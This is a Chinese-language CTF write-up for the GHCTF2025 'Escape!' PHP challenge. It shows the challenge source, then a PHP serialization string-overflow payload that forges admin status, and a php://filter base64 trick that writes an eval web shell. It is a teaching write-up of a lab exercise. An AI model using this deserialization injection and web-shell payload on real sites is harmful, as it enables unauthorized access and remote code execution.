GHCTF2025 Escape! 题解

1,452次阅读
没有评论

共计3106个字符,预计需要花费8分钟才能阅读完成。

提醒:本文最后更新于 2026-05-13 23:21,文中所关联的信息可能已发生改变,请知悉!

题目

GHCTF2025 Escape!题解

Escape!
小李写了个登陆网站,他不放心便加了个 waf, 殊不知这个 waf 不仅没让网站更安全反而给了黑客机会

同时给了源码:

  1. waf.php
<?php

function waf($c)
{
    $lists=["flag","'","\\","sleep","and","||","&&","select","union"];
    foreach($lists as $list){
        $c=str_replace($list,"error",$c);
    }
    #echo $c;
    return $c;
}
  1. login.php
<?php
ini_set('display_errors', 0);
error_reporting(0);
include "waf.php";
include "class.php";
include "db.php";
$username=$_POST["username"];
$password=$_POST["password"];

$SQL=new Database();
function login($db,$username,$password)
{
    $data=$db->query("SELECT * FROM users WHERE username = ?",[$username]);

    if(empty($data)){
        die("<script>alert('用户不存在')</script><script>window.location.href = 'index.html'</script>");
    }
    if($data[0]['password']!==md5($password)){
        die("<script>alert('密码错误')</script><script>window.location.href = 'index.html'</script>");
    }
    if($data[0]['username']==='admin') {
        $user = new User($username, true);
    }
    else{
        $user = new User($username, false);
    }
    return $user;
}

function setSignedCookie($serializedData, $cookieName = 'user_token', $secretKey = 'fake_secretKey') {
    $signature = hash_hmac('sha256', $serializedData, $secretKey);

    $token = base64_encode($serializedData . '|' . $signature);

    setcookie($cookieName, $token, time() + 3600, "/");  // 设置有效期为1小时
}

$User=login($SQL,$username,$password);

$User_ser=waf(serialize($User));

setSignedCookie($User_ser);

header("Location: dashboard.php");

?>
  1. dashboard.php
<?php
ini_set('display_errors', 0);
error_reporting(0);
include "class.php";
function checkSignedCookie($cookieName = 'user_token', $secretKey = 'fake_secretkey') {
    // 获取 Cookie 内容
    if (isset($_COOKIE[$cookieName])) {
        $token = $_COOKIE[$cookieName];

        // 解码并分割数据和签名
        $decodedToken = base64_decode($token);
        list($serializedData, $providedSignature) = explode('|', $decodedToken);

        // 重新计算签名
        $calculatedSignature = hash_hmac('sha256', $serializedData, $secretKey);

        // 比较签名是否一致
        if ($calculatedSignature === $providedSignature) {
            // 签名验证通过,返回序列化的数据
            return $serializedData;  // 反序列化数据
        } else {
            // 签名验证失败
            return false;
        }
    }
    return false;  // 如果没有 Cookie
}

// 示例:验证并读取 Cookie
$userData = checkSignedCookie();
if ($userData) {
    #echo $userData;
    $user=unserialize($userData);
    #var_dump($user);
    if($user->isadmin){
        $tmp=file_get_contents("tmp/admin.html");

        echo $tmp;

        if($_POST['txt']) {
            $content = '<?php exit; ?>';
        $content .= $_POST['txt'];
        file_put_contents($_POST['filename'], $content);
        }
    }
    else{
        $tmp=file_get_contents("tmp/admin.html");
        echo $tmp;
        if($_POST['txt']||$_POST['filename']){
        echo "<h1>权限不足,写入失败<h1>";
}
    }
} else {
    echo 'token验证失败';
}

思路

一打开页面跳转到 login.php 要求登录,输入的用户名和密码没有过滤,看到 38 行

$User=login($SQL,$username,$password);

$User_ser=waf(serialize($User));

setSignedCookie($User_ser);

这里是先进行 序列化 WAF 的。再看到 waf.php,会将某些关键字替换成 error。比如说 flag 替换成 error,而序列化后读取的字符串长度又不变,那么这里就会出现字符串溢出的漏洞。

构造用户名为 flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:7:"isadmin";b:1;}。由于字符串溢出,那么反序列化后的结果 isadmin 就为 1 了,成功进入 dashboard.php

dashboard.php 里存在 file_put_contents 这种危险函数,容易执行任何命令。但是在 40 行

if($_POST['txt']) {
            $content = '<?php exit; ?>';
        $content .= $_POST['txt'];
        file_put_contents($_POST['filename'], $content);
        }

这里输入内容前面会加上 <?php exit; ?>,那么我们输入的代码岂不是还没执行就 exit 了?可以用 base64 编码来绕过。

输入文件名为 php://filter/write=convert.base64-decode/resource=shell.php,文件内容为 <?php eval($_POST['a']);?>,但是我们要输入编码后的 aPD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=,这样成功绕过。

最后直接 POST 内容 cat /flag 即可。

正文完
 0
评论(没有评论)
验证码